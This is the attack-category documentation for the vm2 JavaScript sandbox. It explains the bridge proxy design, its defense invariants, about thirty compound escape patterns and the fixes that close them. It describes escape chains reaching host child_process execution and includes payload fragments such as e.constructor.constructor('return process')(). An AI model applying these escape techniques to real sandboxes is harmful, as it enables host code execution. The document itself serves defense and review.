Every category lives in exactly one family file under docs/attacks/. Category numbers are permanent identifiers: they are never reused, reassigned, or renumbered, because CHANGELOG.md, test/ghsa/*/repro.js and the skills refer to "Category N".

Each entry uses the following structure:

  • Heading: ## Attack Category N: <Short title>. N is the next unused number across all families.
  • **Advisories**: β€” required. Every GHSA ID the entry covers. Mark duplicates as GHSA-xxxx (dup of GHSA-yyyy). Write none for categories that predate the advisory process.
  • **Tests**: β€” required. Paths to the regression tests: test/ghsa// directories, and suite tests cited as test/vm.js ("<describe title>").
  • **Uses**: β€” present on most techniques and compounds (a linked list of the prerequisite categories the attack composes); the Kind column of the category index is the authority for whether an entry is a primitive, technique, or compound.
  • **Supersedes**: β€” optional. Link to an earlier category whose mitigation was specific rather than structural and is now subsumed by this fix.
  • ### Description β€” What the attacker can do and the underlying mechanism.
  • ### Attack Flow β€” Numbered step-by-step breakdown.
  • ### Canonical Example(s) β€” Code blocks. Include all known variants when multiple bypass paths exist.
  • ### Why It Works β€” Why the existing defenses didn't prevent this. Reference V8 internals where relevant.
  • ### Mitigation β€” The structural fix. Cite the file and function. Reference the Defense Invariant the fix enforces.
  • ### Fix shape β€” Optional. The structure of the fix stated separately from the code walk-through, where the Mitigation is long enough that the shape would otherwise be lost in it (Categories 39 and 48).
  • ### Detection Rules β€” Bulleted heuristics for spotting similar patterns in code review.
  • ### Considered Attack Surfaces β€” Optional. Adjacent surfaces analysed and ruled out, so future reviewers don't re-investigate.
  • ### Known Residual β€” Optional. Must name the condition under which the residual becomes a bug, and once a later category closes it, a one-line pointer to that category replaces the section.

Write in the present tense. An entry describes a closed hole and the structure that keeps it closed, except where a Known Residual section or an explicit status line says otherwise; as of this revision Categories 22 and 47 carry open residuals. The fix is the Mitigation section, so retrospective markers announcing that a hole is fixed, and phrasings such as "historically" or "was dangerous", do not appear. Where the pre-fix behaviour genuinely has to be stated, scope it explicitly β€” "Before GHSA-xxxx, the trap did Y. The trap now does Z."

Links between categories always carry the file name (family.md#anchor from a family file, attacks/family.md#anchor from this index), and links to this document from a family file use ../ATTACKS.md#anchor. test/docs-catalog.js fails the suite on a duplicate number, a gap in numbering, an unresolved link, or a missing metadata line.

If a new vulnerability fits an existing category, add it as an additional canonical example, extend the Advisories and Tests lines, and update the Mitigation. Only create a new category for genuinely novel attack classes.

After adding an entry:

  1. Place it in the family file whose mechanism matches. If none fits, add a family file and a row to the family table below; that should be rare.
  2. Add its row to the category index below.
  3. Add a row to Summary β†’ How The Bridge Defends and, for a compound, an entry to Summary β†’ Compound Attack Patterns.
  4. Run npm test; test/docs-catalog.js checks numbering, links, and metadata.
  5. Add a one-line entry to CHANGELOG.md under the next release.

Fundamentals

Before diving into specific attack categories, it is essential to understand the architectural constraints that make sandbox escapes possible and the design choices that shape the defense surface.

Realm Separation

vm2 runs untrusted code inside a V8 context created by Node.js's vm module. Host and sandbox share the same V8 isolate -- they execute on the same thread, in the same heap. The sandbox gets its own set of global intrinsics (Object, Function, Array, Error, etc.), but these are all allocated from the same memory space as the host's intrinsics. There is no process boundary, no memory isolation, and no privilege separation at the OS level. If an attacker obtains a reference to any host-realm constructor, they can evaluate arbitrary code in the host context.

A "host-realm object" is any object whose prototype chain leads to the host's intrinsics. A "sandbox-realm object" leads to the sandbox's intrinsics. The bridge's job is to ensure that sandbox code never sees a host-realm object directly -- only proxied wrappers that sanitize every property access.

The Bridge Proxy Model

lib/bridge.js is the core of vm2. It maintains two WeakMaps:

  • mappingThisToOther: maps host objects to their sandbox proxy wrappers (and vice versa, depending on which side loaded the bridge).
  • mappingOtherToThis: maps sandbox proxies back to the host objects they wrap.

When a host object crosses into the sandbox, thisFromOther(other) looks it up in mappingThisToOther. If already wrapped, the existing proxy is returned (identity preservation). If new, a proxy is created whose traps sanitize every property access, method call, and prototype traversal.

The proxy invariant problem: proxies preserve object identity (the same host object always maps to the same sandbox proxy), but every trap is an attack surface. Each trap must correctly handle attacker-controlled inputs, V8 internal algorithm invocations, and edge cases like non-configurable properties. The bridge is essentially a manually-written membrane, and any gap in the membrane is a potential escape.

V8 Internal Algorithms vs JS-Level Code

This is the root cause of most attacks in this document. V8 implements many specification algorithms in C++ (ArraySpeciesCreate, FormatStackTrace, PromiseResolveThenableJob, etc.). These C++ algorithms operate on raw object pointers, bypassing proxy traps entirely in many cases. When V8's C++ code reads obj.constructor for species resolution, it reads the actual property on the underlying object -- not the proxy's get trap return value. When V8's stack formatter calls Error.toString(), it runs in whatever realm created the error.

This means: any defense that relies solely on proxy traps is incomplete. The bridge must also neutralize the raw objects themselves (e.g., setting constructor = undefined directly on host arrays) and control V8-level hooks (e.g., Error.prepareStackTrace).

The Transformer's Role

lib/transformer.js uses Acorn to parse sandbox code and instrument it:

  • catch blocks: Wrapped so that handleException(e) is called on every caught value. This sanitizes host-realm errors that V8 might throw (e.g., TypeError from type coercion failures).
  • with statements: Instrumented to prevent scope chain manipulation.

handleException (defined in lib/setup-sandbox.js) calls ensureThis on the caught value, which walks the prototype chain and converts host objects to sandbox proxies. It also detects SuppressedError instances and recursively sanitizes their .error and .suppressed properties.

Critical limitation: The transformer uses Acorn with ecmaVersion: 2022. Syntax introduced after ES2022 -- notably using declarations (ES2024) -- is invisible to the transformer when the keyword fast path skips the AST parse (a parsed source is rejected by acorn at ecmaVersion: 2022). Code using using inside eval() bypasses catch-block instrumentation entirely.

The Error Generation Primitive

A pattern that appears in nearly every compound attack:

javascript
const e = new Error();
e.name = Symbol();  // Symbol cannot be converted to string
e.stack;            // V8's C++ FormatStackTrace calls e.toString() -> TypeError

When V8 formats a stack trace, its C++ code calls Error.prototype.toString(), which concatenates this.name + ": " + this.message. If name is a Symbol, the string concatenation throws a TypeError. Depending on where this TypeError is caught, it may be a host-realm error (if the formatting happened in host-side code like prepareStackTraceCallback) or a sandbox-realm error (if the sandbox's prepareStackTrace handled it). This primitive generates host errors on demand and is referenced throughout this document.

The `isHost` Asymmetry

The bridge is loaded in both the host and the sandbox, but the security requirement is asymmetric: only the sandbox side needs protection from leaking host objects. The host side freely receives sandbox objects (they cannot harm the host). This means the bridge's proxy traps are primarily defensive on the sandbox-facing side: the get trap blocks dangerous constructors, the ownKeys trap filters dangerous symbols, the apply trap neutralizes species attacks, etc.

The Escape Chain

Almost every escape follows this progression:

text
Sandbox Object
  -> Host Constructor (Function)
    -> Code Evaluation ("return process")
      -> process.mainModule.require
        -> require("child_process")
          -> execSync("arbitrary command")

Block any step in this chain, and the escape fails. The bridge blocks step 1 (constructor access). The transformer blocks catch-clause access. Promise sanitization blocks async paths to step 2. Defense in depth means multiple layers must be bypassed for a successful escape.


Defense Invariants

These are the cross-cutting properties the sandbox must preserve. A fix that closes a specific PoC without restoring the relevant invariant is specific and will admit variants. A fix that restores the invariant at the right chokepoint is structural. Every Mitigation section should reference the invariant it enforces.

  1. No host-realm object reaches sandbox code unwrapped. Every value crossing the boundary is a primitive, a sandbox-realm object, or a bridge proxy. thisFromOther / ensureThis is the single chokepoint; the WeakMap caches preserve identity.

  2. All caught exceptions are sanitized. Every value entering a catch clause passes through handleException. Paths that bypass JS-level catch instrumentation (Wasm try_table, host-realm Promise.then rejection) are closed at the bridge.

  3. Cross-realm error containers are recursively sanitized. SuppressedError, AggregateError, and Error.cause may carry host references in nested fields. handleException walks the structure with cycle detection.

  4. V8 internal algorithms cannot read attacker-controlled constructor on host objects. ArraySpeciesCreate, PromiseResolveThenableJob, and similar C++ paths bypass proxy traps. The bridge neutralises raw constructor slots on host arrays before every host-side call (neutralizeArraySpeciesBatch, via neutralizeArraySpeciesOn) and pre-sets Promise.constructor as an own data property before .then/.catch (resetPromiseSpecies).

  5. Error.prepareStackTrace always resolves to a sandbox-realm safe default. V8 must never fall back to the host's prepareStackTraceCallback. Setting Error.prepareStackTrace = undefined in the sandbox restores the safe default rather than removing it.

  6. Host-realm intrinsic prototypes are read-only from the sandbox. Object.prototype, Array.prototype, Function.prototype, etc. cannot be polluted, deleted from, or frozen via bridge write traps. Mutability is preserved for non-intrinsic host objects (Buffer instances, embedder-exposed configs).

  7. Cross-realm well-known symbols are not extractable. Symbol.for('nodejs.util.inspect.custom') and similar cross-realm symbols are filtered at the bridge so sandbox code cannot use them as a channel to register host-side callbacks.

  8. Reflect and dangerous-constructor identity is captured at init time. The bridge caches Reflect.* references and built-in constructors before sandbox code runs. Sandbox-side monkey-patching of these cannot affect bridge internals.

  9. Post-ES2022 syntax is treated as a transformer blind spot. using, await using, and any future syntax not understood by Acorn (ecmaVersion: 2022) bypasses catch instrumentation when the keyword fast path skips the AST parse (a parsed source is rejected by acorn at ecmaVersion: 2022). Defenses must hold even when no transformer instrumentation runs over the relevant scope.

  10. Dynamic code compilation paths cannot reach an unwrapped host realm. Function, eval with host references, and dynamic import() are blocked or proxied. import() throws VMError unconditionally.

  11. Bridge-internal containers must not invoke sandbox code. Lists, maps, and saved-state records allocated for the bridge's exclusive use are reached from sandbox-realm closures whose intrinsics (Array.prototype, Object.prototype, Map.prototype) are attacker-reachable. Reads and writes on those containers must use prototype-bypassing primitives β€” Reflect.defineProperty, Reflect.apply over cached WeakMap.prototype.{get,set}, etc. β€” never operators (obj[i] =, map.set, for...in) that fall through to the sandbox prototype chain. Otherwise an attacker-installed setter/getter on Array.prototype[N] or Object.prototype.<key> can capture or mutate the bridge's raw saved state.

  12. No sandbox-visible object has a host-realm prototype chain without bridge interposition. Every Promise (and, by extension, every spec-defined async dispatch target) reachable from sandbox code is either (a) sandbox-realm with globalPromise.prototype in its [[Prototype]] chain β€” so the sandbox-side .then/.catch overrides apply β€” or (b) a bridge proxy of a host-realm Promise β€” so the bridge apply-trap interception applies. A third shape (sandbox-realm allocation with a host-realm prototype, with no proxy in between) bypasses both layers: p.then/.catch/.finally lookup walks across realms to host native methods directly, Object.defineProperty(p, 'constructor', ...) writes onto the raw object, and V8's host-realm SpeciesConstructor dispatches the rejection through attacker-controlled species without ever invoking a sandbox-visible chokepoint. Any V8/Node primitive that produces such an object β€” WebAssembly JSPI is the first known one β€” must be neutralized at sandbox bootstrap. See Category 33.

  13. The NodeVM builtin allowlist is a closed system. No Node builtin whose own API can reload, evaluate, debug, spawn, or otherwise re-enter host code (module, worker_threads, cluster, vm, repl, inspector, process, trace_events, wasi) is reachable from the sandbox, regardless of how the embedder writes builtin β€” wildcard, explicit name, object syntax, low-level makeBuiltins. The check is family-prefix and node:-normalised, so subpath builtins (inspector/promises) and URL-style spellings (node:process) share fate with their canonical name. The only way to re-expose any of these names is to register a sandbox-safe wrapper through SPECIAL_MODULES, mocks, or overrides β€” i.e. the embedder must consciously opt into a stub that is not the raw host module.

  14. allowAsync: false is a closed synchronous boundary. When async is disabled, no sandbox-reachable operation may schedule code into a later microtask β€” there is nothing to run after run() returns. Blocking Promise.prototype.then is not sufficient: thenable assimilation (PromiseResolveThenableJob) reaches sandbox code through every native resolve capability without consulting .then. Every entry point that can resolve a native promise with a thenable β€” the static methods (resolve/all/race/any/allSettled/try), the constructor's resolve argument, withResolvers, Array.fromAsync, and the realm-intrinsic base reachable via Object.getPrototypeOf(Promise) β€” must refuse object/function resolutions (TOCTOU-safe, without reading .then) or throw. See Category 51.

The Security Checklist for Bridge Changes at the end of this document gives the verification questions for each invariant.


Summary

What The Attacker Ultimately Wants

Almost every escape follows this progression:

text
Sandbox Object
  -> Host Constructor (Function)
    -> Code Evaluation ("return process")
      -> process.mainModule.require
        -> require("child_process")
          -> execSync("arbitrary command")

Block any step in this chain, and the escape fails. The bridge blocks step 1 (constructor access). The transformer blocks catch-clause access. Promise sanitization blocks async paths to step 2.

Compound Attack Patterns

The most dangerous attacks combine multiple categories. Each pattern references its constituent categories. Every pattern below is closed by the defense named in the table that follows, except where a category's Known Residual says otherwise (Categories 22 and 47).

  1. Prototype Pollution + Proxy Trap [Categories 2, 6]: Pollute Object.prototype to inject trap handlers, then trigger the trap via bridge operations.
  2. Symbol.species + Async Error [Categories 3, 7]: Set Symbol.species to custom class, trigger host error in async path, receive unsanitized error in custom class constructor.
  3. Built-in Override + Type Coercion [Categories 10, 11]: Override Array or Object.create, then pass object with valueOf() to Buffer.from() to trigger the override.
  4. Monkey-patch + Promise [Categories 7, 11]: Override Function.prototype.call, then trigger Promise.then() to intercept internal callback dispatch.
  5. Object.defineProperty disable + Species Attack [Categories 3, 11]: Override Object.defineProperty to no-op, preventing species reset, then exploit unprotected species.
  6. Symbol Extraction + Array Monkey-patch [Categories 8, 11]: Override Array.prototype.splice/push to no-op, then call Object.getOwnPropertySymbols(hostObj) hoping the filter uses array methods.
  7. Internal [[OwnPropertyKeys]] + Proxy Trap [Categories 6, 8]: Call Object.assign(proxyTarget, hostObj) where proxyTarget is a Proxy with a set trap to leak real symbols.
  8. Constructor Accessor TOCTOU + Species Attack [Categories 3, 7]: Define a getter on p.constructor that returns Promise on first read (passes check) but returns malicious Symbol.species on subsequent reads.
  9. Prototype Mutation + Species TOCTOU [Categories 2, 7]: Access globalPromise.prototype and replace constructor data property with accessor. Own-property checks miss inherited accessors.
  10. Symbol.hasInstance + Species Attack [Categories 3, 7]: Override Symbol.hasInstance on globalPromise so instanceof fails, causing resetPromiseSpecies to skip.
  11. Promise Static Method Stealing + Error Trigger [Categories 4, 7]: Copy Promise static methods to FakePromise, trigger host error during iteration/callback. Unsanitized error goes to FakePromise's reject handler.
  12. Reflect.construct instanceof bypass + Species [Categories 3, 7]: Use Reflect.construct(Promise, [...], FakePromise) to bypass instanceof guard, combined with FakePromise[Symbol.species] = FakePromise.
  13. Duck-typing + showProxy + Handler Exposure [Categories 8, 9]: Create Buffer duck-type, invoke inspect with showProxy: true, probe exposed handler.
  14. Duck-typing + showProxy + fromOtherWithContext [Categories 8, 9]: Same as 13 but specifically exploits fromOtherWithContext method. Variant: doPreventExtensions.
  15. Host prepareStackTrace + Array.fromAsync + SuppressedError [Categories 4, 7, 16, 19]: Walk prototype chain to get host Array, call Array.fromAsync for host promise, use using + Error Generation Primitive to create SuppressedError with host TypeError, catch via host promise's unsanitized .catch().
  16. Duck-typing + showProxy + handler.get() with forged target [Categories 1, 9]: Obtain handler via showProxy, use host-side Array.reduce to call handler.get(rawHostFunction, 'constructor'), leaking raw host Function via prototype chain fallback.
  17. Descriptor Extraction + Object.entries + Array Unwrap [Categories 1, 15]: Get property descriptor for Function.prototype.constructor, build nesting via chained getOwnPropertyDescriptors, extract with Object.entries(). Defense: recursive containsDangerousConstructor with cycle detection.
  18. SuppressedError + Symbol Name Trick [Categories 4, 16]: DisposableStack.defer() or using with dispose method triggering Error Generation Primitive. SuppressedError wraps unsanitized host TypeError. Also works with AsyncDisposableStack.
  19. WebAssembly JSTag Exception Catch [Categories 4, 12, 17]: Wasm module imports JSTag and trigger function. Trigger causes host TypeError via Error Generation Primitive. Wasm try_table/catch catches and returns unsanitized externref.
  20. Array Species Self-Return + Object.assign [Categories 3, 10, 18]: Create host array, set up self-referential species constructor, inject via Object.assign (bypasses proxy set trap), call r.map(f) for raw host values. Chain cwu calls to extract host Function.
  21. Host Built-in Identity Leak via Proto Walk [Categories 1, 2, 8]: Walk the prototype chain via ({}).__lookupGetter__('__proto__') composed with Buffer.apply (or any host-bound __proto__ getter) to terminate at host Object.prototype, then read .constructor to obtain a reference to host Object whose identity is disjoint from sandbox Object. The original symbol-filter patch (commit 67bc511) closed the demonstrated RCE payload but left this primitive intact β€” any future bypass that turns "I have a host built-in handle" into "I can read a host symbol or call a host method that bypasses bridge sanitisation" would re-enable the same escape class. Closed structurally by thisAddIdentityMapping in lib/bridge.js (see Category 8 mitigation).
  22. Async Generator yield-Return Thenable + Stack-Overflow Realm Skew* [Categories 4, 7, 29]: Use yield* to a no-return inner async iterator, then .return(thenable) where the thenable's .then synchronously throws via deep recursion. V8's PromiseResolveThenableJob captures the throw and the yield* continuation surfaces it as { value, done: false } β€” bypassing both the transformer's user-catch instrumentation and the globalPromise.prototype.then rejection sanitiser. Binary-search the recursion depth where the overflow originates inside V8's host C++ code so the RangeError is host-realm, then e.constructor.constructor("return process")(). Closed by wrapping %AsyncGeneratorPrototype%.next/.return/.throw to route iterator-result .value and rejections through handleException, plus replacing every thenable arg with a sandbox-realm wrapper whose .then is a fixed safeThen and always-shadowing the non-function branch so V8's re-read of .then cannot observe attacker-controlled values.
  23. Host Prototype Mutation via Apply-Trap Indirection + WebAssembly Rejection [Categories 2, 4, 7, 30]: Resolve host Object.prototype.__proto__ setter via Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__") (the connect()-aliased sandbox __lookupSetter__ walks back to host). Trigger a host-realm TypeError (e.g., await WebAssembly.compileStreaming()). Inside catch(e), call setProto.call(getProto.call(e), null) β€” the apply trap unwraps context and forwards to the host setter, severing host TypeError.prototype.[[Prototype]] without any write trap firing. The next host TypeError from await WebAssembly.compileStreaming() walks back into sandbox code through V8 async internals; the bridge's proto-walk no longer finds the registered mapping at the right level and the value falls through unwrapped. e.constructor.constructor is then host Function. Closed structurally by (A) caching host prototype-mutating intrinsics (Object.prototype.__proto__ setter, Object.setPrototypeOf, Reflect.setPrototypeOf, Object.{defineProperty,defineProperties}, Reflect.defineProperty, Object.prototype.__define{Getter,Setter}__) and refusing them in the apply trap with one layer of indirection peel for Function.prototype.{call,apply,bind} and Reflect.{apply,construct}; (B) cache-check on mappingOtherToThis before the proto-walk in thisEnsureThis so any previously-bridged host value returns the existing proxy even with a tampered proto chain.
  24. Promise Species Hijack + Stack-Overflow Realm Skew [Categories 4, 7, 18, 29, 31]: class FakePromise extends Promise { static get [Symbol.species]() { return ct } } reroutes the swallow-tail child constructor inside localPromise to a sandbox-controlled ct. ct rebinds V8's internal (resolve, reject) capability to a sandbox collector; trigger a host-realm RangeError via e.stack after deep recursion (binary-searched depth) inside the downstream chain; V8's PromiseResolveThenableJob delivers the raw host Error to the collector β€” ex.constructor.constructor("return process")() then yields RCE. Closed by adding resetPromiseSpecies(this) immediately before the swallow-tail apply(globalPromisePrototypeThen, this, ...) call so the species protocol always resolves to localPromise regardless of the user's subclass Symbol.species override.
  25. WebAssembly JSPI Cross-Realm Promise + Species Hijack [Categories 3, 7, 33]: JSPI returns a sandbox-realm Promise with host-realm Promise.prototype in its [[Prototype]] chain β€” bypassing both the sandbox-side .then/.catch overrides and the bridge apply-trap callback wrapping. Install Object.defineProperty(p, 'constructor', {get(){return F}}) directly on the raw object; p.finally(()=>{}) calls host Promise.prototype.finally, whose internal SpeciesConstructor reads F and dispatches the eventual host-realm rejection (host TypeError from WebAssembly.compileStreaming(Promise.resolve(0))) through F's reject closure with no bridge wrapping. e.constructor.constructor("return process")() evaluates in host realm because Function.[[Realm]] is host β†’ RCE. Closed by deleting WebAssembly.promising and WebAssembly.Suspending at sandbox bootstrap, mirroring the WebAssembly.JSTag removal.
  26. Stale Engine Protector + Species Hijack + Stack-Overflow Realm Skew [Categories 3, 4, 7, 43]: On Node 26 / V8 14.6, vm2's Promise.prototype.then/catch overrides were installed by plain assignment, which left the PromiseThenLookupChain protector valid; p.finally() on an ordinary (async () => 1)() Promise took the InvokeThen fast path to the native then and never entered vm2's wrapper, so resetPromiseSpecies never ran. An own constructor with Symbol.species pointing at a sandbox class then received the native reaction's resolve/reject; driving that reaction into a calibrated stack overflow delivered a raw host-realm RangeError to the attacker's reject closure β†’ e.constructor.constructor β†’ host Function β†’ host process, with eval: false and wasm: false. Closed by installing the wrappers via Reflect.defineProperty (which invalidates the protector) and by wrapping Promise.prototype.finally to run resetPromiseSpecies(this) before the cached native call.
  27. Read-Only View Setter Leak via Descriptor Extraction [Categories 6, 15, 44]: vm.freeze(cfg, 'cfg') exposes a host object with an accessor property. The direct write traps (set / defineProperty / deleteProperty) are inert, but Object.getOwnPropertyDescriptor(cfg, 'level').set (or __lookupSetter__, Reflect.getOwnPropertyDescriptor, Object.getOwnPropertyDescriptors) returns a live bridge-wrapped host setter. desc.set.call(cfg, value) routes through BaseHandler.apply onto the unwrapped host object, mutating host state through a read-only view. Closed by overriding ReadOnlyHandler.getOwnPropertyDescriptorDesc to strip the set accessor before it is wrapped, leaving the getter operative β€” a single hook that closes all four descriptor-read channels.
  28. External Allowlist Substring Collision + Subpath Traversal [Categories 21, 24, 45]: With require: {external: ['left-pad'], resolve, context: 'host'}, the externalCache pre-check in LegacyResolver.customResolve used unanchored regexes, so require('evil-left-pad') passed by substring containment; the embedder's custom resolver then located the colliding package in the application's dependency directory, customResolve appended the resolved path to this.externals, and host require() ran its top-level code in host context (host child_process from a sandbox configured with builtin: []). Anchoring the matcher to ^(?:)(?:[\\/].*)?$ closed the collision but not the second stage: the permitted subpath tail accepts .. segments, so left-pad/../evil-package and left-pad/sub/../../evil-package walked out of the package boundary to the same effect, at a depth no regex lookahead can reach. Closed by both layers together β€” anchored matcher plus a segment-split rejection of any .. in the bare specifier, applied before the resolver is consulted and before any canonicalization (realpath would erase the .. evidence).
  29. Thenable Assimilation Past allowAsync: false [Categories 7, 51]: Not a containment breach but a policy/timeout bypass. Hand a thenable to any native resolve capability β€” Promise.resolve/all/race/any/allSettled/try, new Promise(r=>r(thenable)), withResolvers().resolve, Array.fromAsync, or the realm-intrinsic base reached via Object.getPrototypeOf(Promise) β€” so V8's PromiseResolveThenableJob runs the attacker .then in a microtask after run() returns, outside timeout. Closed by guarding every resolve capability (TOCTOU-safe, refuses object/function without reading .then), throwing the static methods, neutralizing Array.fromAsync, and interposing a construct-guard Proxy on localPromise's prototype so the native base is un-constructable from the sandbox β€” all gated to allowAsync: false.
  30. Host-Promise Species Hijack + Missing Handler [Categories 7, 43, 53]: Write constructor = {[Symbol.species]: Evil} onto a raw host promise returned by an embedder API, then call .then() / .catch() / .finally() with the settlement-direction handler omitted. SpeciesConstructor reads the species off the raw host object (no trap), and V8's internal Thrower/Identity reaction delivers the raw host settlement to the sandbox-captured capability with no callback slot to sanitize. Defense: neutralizeHostPromiseSpeciesOn shadows the host promise's constructor across the call.
  31. Sloppy Host Function + Nullish Receiver [Categories 10, 54]: Call any embedder-exposed non-strict host function with no receiver (greet(), .call(null), Reflect.apply(fn, undefined, []), bind(null)()). V8's OrdinaryCallBindThis substitutes the host realm's global for this, and whatever the function returns or stashes from this is the host global — process.getBuiltinModule('child_process') follows. Defense: the host global is refused at every host→sandbox coercion chokepoint, delivered as undefined.

How The Bridge Defends

Attack Defense
Constructor chain Returns {} for Function constructor access; isThisDangerousFunctionConstructor blocks all variants
proto access Intercepts and returns sandbox-side prototype
Proxy traps Wraps Proxy constructor, sanitizes handler objects, null-prototype handlers
Symbol.species (Promise) Unconditionally sets p.constructor = localPromise as own data property before every .then()/.catch() and before the internal swallow-tail call in localPromise's constructor (GHSA-76w7-j9cq-rx2j); eliminates TOCTOU and species hijack via subclass [Symbol.species]
Symbol.species (host Promise via then/catch/finally) (Category 53: GHSA-6454-5x88-m6jw) neutralizeHostPromiseSpeciesOn in lib/bridge.js shadows the raw host promise's own constructor with an inert undefined data property across a sandbox→host then/catch/finally call, so SpeciesConstructor resolves to the host %Promise% and the missing-handler result capability cannot be hijacked; restored in finally, fails closed with VMError on a non-configurable constructor or non-extensible promise. peelEffectivePromiseCall unwinds Function.prototype.call/.apply and host Reflect.apply indirection and recognizes .finally, so every invoker of a host promise method with a sandbox-chosen receiver reaches the same gate.
Symbol.species (Array) Three-layer defense: set/defineProperty traps + neutralizeArraySpeciesBatch in apply trap
Reflect.construct instanceof bypass resetPromiseSpecies sets constructor on any object, not just instanceof globalPromise
Species TOCTOU via accessor Own data property set by Reflect.defineProperty; no getter invoked
Species TOCTOU via prototype globalPromise.prototype is frozen
Symbol.hasInstance bypass globalPromise is frozen
Non-extensible promise Reflect.defineProperty fails -> throws LocalError
Error exploitation Safe defaultSandboxPrepareStackTrace; V8 never falls back to host formatter
Promise callbacks All callbacks wrapped with ensureThis() sanitization
Promise static methods All wrapped to use localPromise as constructor, ignoring this
Built-in override Caches references at init time, uses Reflect.apply
caller/callee Throws immediately on access
Monkey-patching Uses cached Reflect.* methods, not prototype methods
Transformer bypass Validates against internal variable name patterns
Dynamic import Throws VMError unconditionally
vm.freeze accessor setter leak ReadOnlyHandler.getOwnPropertyDescriptorDesc strips set from every descriptor before wrapping (GHSA-633r-hq9m-c4ff); getOwnPropertyDescriptor / __lookupSetter__ / Reflect.getOwnPropertyDescriptor / Object.getOwnPropertyDescriptors yield getter-only descriptors, getter preserved; doPreventExtensions routes copied descriptors through the same hook so the proxy target stays consistent with the trap
Prototype trap pollution Handlers use null-prototype objects
Cross-realm symbols Bridge proxy traps filter dangerous symbols; sandbox overrides reflection APIs. isDangerousCrossRealmSymbol (bridge.js) / isDangerousSymbol (setup-sandbox.js) flag any REGISTERED symbol whose Symbol.keyFor is in the reserved nodejs. namespace β€” a namespace catch-all (not a fixed list) so extraction and write-traps block current AND future nodejs.* internals (e.g. stream brand/state nodejs.stream.{readable,…,disturbed,errored}) without going stale; well-known symbols and benign registered symbols still cross (GHSA-m5q2-4fm3-vfqp, GHSA-jf8q-945g-9q4c)
Host built-in identity leak thisAddIdentityMapping pre-caches every well-known prototype + constructor in mappingOtherToThis/mappingThisToOther; cache check in thisFromOtherWithFactory short-circuits before wrapping. Function-family prototypes intentionally NOT cached so the dangerous-constructor sentinel still fires.
Proxy handler exposure Closure-scoped WeakMap and conversion methods; isThisDangerousFunctionConstructor on get trap returns
Property descriptor extraction containsDangerousConstructor + preventUnwrap blocks unwrapping
SuppressedError handleException detects and recursively sanitizes .error/.suppressed
WebAssembly JSTag WebAssembly.JSTag deleted from sandbox
node:test host RCE via run({execArgv}) (GHSA-qhwx-74w5-xhxq) On Node 18+ builtinModules lists node:test with the node: prefix and test was not in DANGEROUS_BUILTINS, so builtin: ['node:test'] admitted the real host module; test.run({files, execArgv:['--eval=<js>']}) spawns a separate host process running attacker code (host RCE). test is added to DANGEROUS_BUILTINS (family-matched, covers node:test/reporters) and isDangerousBuiltin now strips ALL leading node: prefixes so node:node:test normalizes too β€” node:test is excluded from '*', rejected on explicit allow, and absent from the builtins map.
External-package allowlist bypass via unanchored matcher / .. traversal (Category 45: GHSA-c48m-32m9-vx93) LegacyResolver.customResolve's allowlist pre-check tested the bare specifier against externalCache regexes built WITHOUT anchors, so external: ['left-pad'] matched evil-left-pad / left-pad-evil / xleft-padx as a substring and handed the colliding host package to the custom resolver (top-level code then ran in host context). Two layers: externalCache is anchored ^(?:)(?:[\\/].*)?$ so a specifier must EQUAL the allowlisted name or be a subpath under it (wildcard * / ** segment semantics preserved); and, because the permitted subpath tail can itself carry traversal (left-pad/../evil, left-pad/sub/../../evil β€” deeper than any regex lookahead can catch), the specifier is split on [\\/] and rejected outright if any segment is .., BEFORE the resolver is consulted. Denied specifiers fall through to the standard loader, whose resolved path is never appended to this.externals, so isPathAllowedForModule denies it as module-not-found. Orthogonal to the require.root realpath check below, which guards resolved FILENAMES against symlinks; this one guards SPECIFIERS against lexical escape of the package boundary.
Custom-resolver authorization admits prefix-sharing siblings (Category 46: GHSA-5h3f-q97h-ccvc) After the embedder's require.resolve returned, LegacyResolver.customResolve appended new RegExp('^' + escapeRegExp(resolved)) to this.externals β€” a raw path prefix with no boundary β€” so resolving allowlisted foo to .../node_modules/foo permanently authorized .../node_modules/foo2/index.js and every other prefix-sharing sibling, host-required in host context (context: 'host' is the default) with the embedder's authority. The {module, path} return shape was wider still: path is a node_modules SEARCH directory, so every package in it became authorized. Custom-resolver authorizations now live in this.externalPaths as resolved base PATHS matched by the shared isPathWithin boundary predicate (exact match, or a separator at the boundary, via this.fs.isSeparator) β€” the same primitive require.root and the mod.path check above use β€” with the <ext> candidates the loader probes authorized individually in this.externalExact by full equality, so an extension-less answer still resolves while no sibling of it does; the object shape records only path/``, refusing the resolution outright if the specifier does not name a package strictly inside the search directory; and an authorization is removed again if the load it was recorded for produces no module. Both readers of the old record (isPathAllowedForModule, registerModule's allowTransitive) were updated; this.externals keeps only the static, node_modules-anchored makeExternalMatcher entries.
External-package allowlist bypass via unanchored module-path prefix (Category 46: GHSA-7q3f-wx44-378m) LegacyResolver.isPathAllowedForModule authorized a require from an allowlisted module mod with a raw path.startsWith(mod.path) and no boundary, so a prefix-sharing sibling (.../node_modules/foo2/index.js vs allowlisted .../node_modules/foo) loaded as if it were foo. The check now requires a path boundary after mod.path (exact match, trailing separator, or next char a separator), mirroring the base CustomResolver.isPathAllowed.
WebAssembly JSPI cross-realm Promise WebAssembly.promising and WebAssembly.Suspending deleted from sandbox; JSPI promises (sandbox allocation with host-realm Promise.prototype and no bridge proxy) cannot be produced, so the species channel on a cross-realm-prototype Promise is structurally unreachable
WebAssembly streaming-compile cross-realm Promise (GHSA-wjwh-qqvp-g4p4 / GHSA-m3pp-qgq7-gwm6) WebAssembly.compileStreaming / instantiateStreaming also return a host-realm-prototype Promise on Node 26; both deleted from the sandbox alongside the JSPI constructors, closing the identical species-constructor + p.finally() β†’ raw host rejection β†’ host process flow. Non-streaming WebAssembly.compile / instantiate (sandbox-realm Promises) remain.
Stale PromiseThenLookupChain protector across finally (Category 43: GHSA-27g9-p43v-cw3v) On Node 26 / V8 14.6 a direct Promise.prototype.then = fn assignment updates the existing data property WITHOUT invalidating the PromiseThenLookupChain protector, so Promise.prototype.finally took an internal InvokeThen fast path to the ORIGINAL native then, bypassing vm2's wrapper and its resetPromiseSpecies β€” an attacker constructor[Symbol.species] survived p.finally() on an ordinary async-function Promise and gained control of a native reaction (β†’ raw host RangeError β†’ host Function). Two layers: the then/catch wrappers are installed with localReflectDefineProperty ([[DefineOwnProperty]] invalidates the protector), and Promise.prototype.finally is itself wrapped to run resetPromiseSpecies(this) before delegating to the cached native finally, so the species channel on finally is closed independently of any engine protector quirk.
